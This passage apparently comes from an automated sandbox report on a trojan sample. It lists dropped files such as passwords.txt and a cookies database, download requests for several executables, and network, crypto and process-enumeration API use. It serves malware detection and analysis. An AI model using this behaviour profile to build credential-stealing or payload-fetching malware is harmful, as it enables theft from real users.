SQLite version 3020001"- Location: [%TEMP%\jobA4Q6P9BsOQ2wXMT\D87fZN3R3jFecookies.sqlite]- [targetUID: 00000000-00003788] "TarE53D.tmp" has type "data"- [targetUID: N/A] "CabE50E.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "CabE742.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- Location: [%TEMP%\jobA3Q6P9BsOQ2wXMT\passwords.txt]- [targetUID: 00000000-00003788] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- [targetUID: 00000000-00003788] "favicon_2_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "search__0633EE93-D776-472f-A0FF-E1416B8B2E3A_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "ASHFLB1K.txt" has type "ASCII text"- [targetUID: N/A]46:Ta17,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\ko[1].exe" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\amers[1].exe" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\niks[1].exe" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS\vinu[1].exe" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\networa[1].exe" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\lada[1].exe" "N_QwR4NSLtBtcixCu5po.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "N_QwR4NSLtBtcixCu5po.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "N_QwR4NSLtBtcixCu5po.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "cGutGk0YYa8pjPhoX_RK.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "cGutGk0YYa8pjPhoX_RK.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "cGutGk0YYa8pjPhoX_RK.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "cGutGk0YYa8pjPhoX_RK.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "cGutGk0YYa8pjPhoX_RK.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"47:T587,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23a2b8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2a9a00" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "WinHttpSendRequest" with parameters {"hRequest": "24a560" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "A_fx0NQLKitBAeBAEfCf.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2f2988" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"} "A_fx0NQLKitBAeBAEfCf.exe" called "WinHttpSendRequest" with parameters {"hRequest": "305640" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "A_fx0NQLKitBAeBAEfCf.exe" called "WinHttpSendRequest" with parameters {"hRequest": "365160" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "5jxITIHj6OKJr9ZS6w6P.exe" called "WinHttpSendRequest" with parameters {"hRequest": "35d900" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0" "$error": "2f8f"}48:T7bb,Found http requests in header "GET /geoip/v2.1/city/me" Found http requests in header "GET /cost/ko.exe" Found http requests in header "GET /mine/amers.exe" Found http requests in header "GET /cost/niks.exe" Found http requests in header "GET /cost/vinu.exe" Found http requests in header "GET /cost/networa.exe" Found http requests in header "GET /cost/lada.exe" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D" Found http requests in header "GET /DigiCertGlobalRootG3.crt" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /gtsr1/gtsr1.crl" Found http requests in header "GET /gts1c3/QqFxbi9M48c.crl" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D"49:Tc27,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00003992-00000C26-49613462") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00003992-00000C26-49892062") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00003992-00000C26-49892062") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00003992-00000C26-49894393") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00003992-00000C26-52495899") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00003992-00000C26-52498022") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00003992-00000C26-52498904") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00003992-00000C26-52499799") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00003992-00000C26-52500665") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00003992-00000C26-52502410") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00003992-00000C26-52503297") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00003992-00000C26-53257648") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00003992-00000C26-55114618") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00003992-00000C26-55115583") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00003992-00000C26-55116472") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00003992-00000C26-55119538") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00003992-00000C26-55119538") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00003992-00000C26-55119538") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp")4a:T1ade,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrj" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdi" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "uNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0B" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEATh56TcXPL" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6l" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"4b:T44a,Observed import api "WNetAddConnection" which can "makes a connection to a network resource" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "WNetCancelConnection" which can "cancels an existing network connection" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "WNetGetConnection" which can "retrieves the name of the network resource associated with a local device" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "WNetUseConnection" which can "makes a connection to a network resource" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "WNetAddConnection" which can "makes a connection to a network resource" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "WNetCancelConnection" which can "cancels an existing network connection" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "WNetGetConnection" which can "retrieves the name of the network resource associated with a local device" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "WNetUseConnection" which can "makes a connection to a network resource" [Source: xxRxKruXMsk3aXgsr67Q.exe]4c:T697,"MHH8pQrdaTkfN7lyJVXS.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "671156024" "cx": "32" "cy": "32"} "MHH8pQrdaTkfN7lyJVXS.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "671156024" "cx": "16" "cy": "16"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1107363616" "cx": "416" "cy": "30"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "3338734489" "cx": "16" "cy": "16"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "201395215" "cx": "416" "cy": "30"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "201395240" "cx": "1" "cy": "1"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "50400049" "cx": "1" "cy": "1"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "50399429" "cx": "416" "cy": "30"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "3338734489" "cx": "416" "cy": "30"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "201395215" "cx": "0" "cy": "0"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "50399429" "cx": "0" "cy": "0"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "50399429" "cx": "75" "cy": "25"} "N_QwR4NSLtBtcixCu5po.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "3338734489" "cx": "0" "cy": "0"} "xxRxKruXMsk3aXgsr67Q.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1107363616" "cx": "32" "cy": "32"}4d:Tff7,file/memory contains long string with (Indicator: "aes"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "aescryptoserviceprovider"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "base64"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "createdecryptor"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "createencryptor"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "cryptostream"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "cryptostreammode"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "ToBase64String"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "rijndael"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "RsaCryptoServiceProvider"; File: "cGutGk0YYa8pjPhoX_RK.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "cGutGk0YYa8pjPhoX_RK.exe") Found string "RSACryptoServiceProvider" (Indicator: "RsaCryptoServiceProvider"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "AesCryptoServiceProvider" (Indicator: "aes"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "RijndaelManaged" (Indicator: "rijndael"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "RijndaelManaged" (Indicator: "Rijndaelmanaged"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "CryptoStream" (Indicator: "cryptostream"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "CryptoStreamMode" (Indicator: "cryptostream"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "CryptoStreamMode" (Indicator: "cryptostreammode"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "FromBase64String" (Indicator: "base64"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "CreateDecryptor" (Indicator: "createdecryptor"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "CreateEncryptor" (Indicator: "createencryptor"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "ToBase64String" (Indicator: "base64"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found string "ToBase64String" (Indicator: "ToBase64String"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") Found string "3desc" (Indicator: "3des"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "AESg" (Indicator: "aes"; Source: "00000000-00001884.00000000.76953.010CE000.00000080.mdmp") Found string "AES_Wrap" (Indicator: "aes"; Source: "00000000-00001884.00000000.76953.010CE000.00000080.mdmp") Found string "X~AeSlZr;Nb" (Indicator: "aes"; Source: "00000000-00001884.00000000.76953.010CE000.00000080.mdmp")4e:T487,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp")4f:T63b,Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: 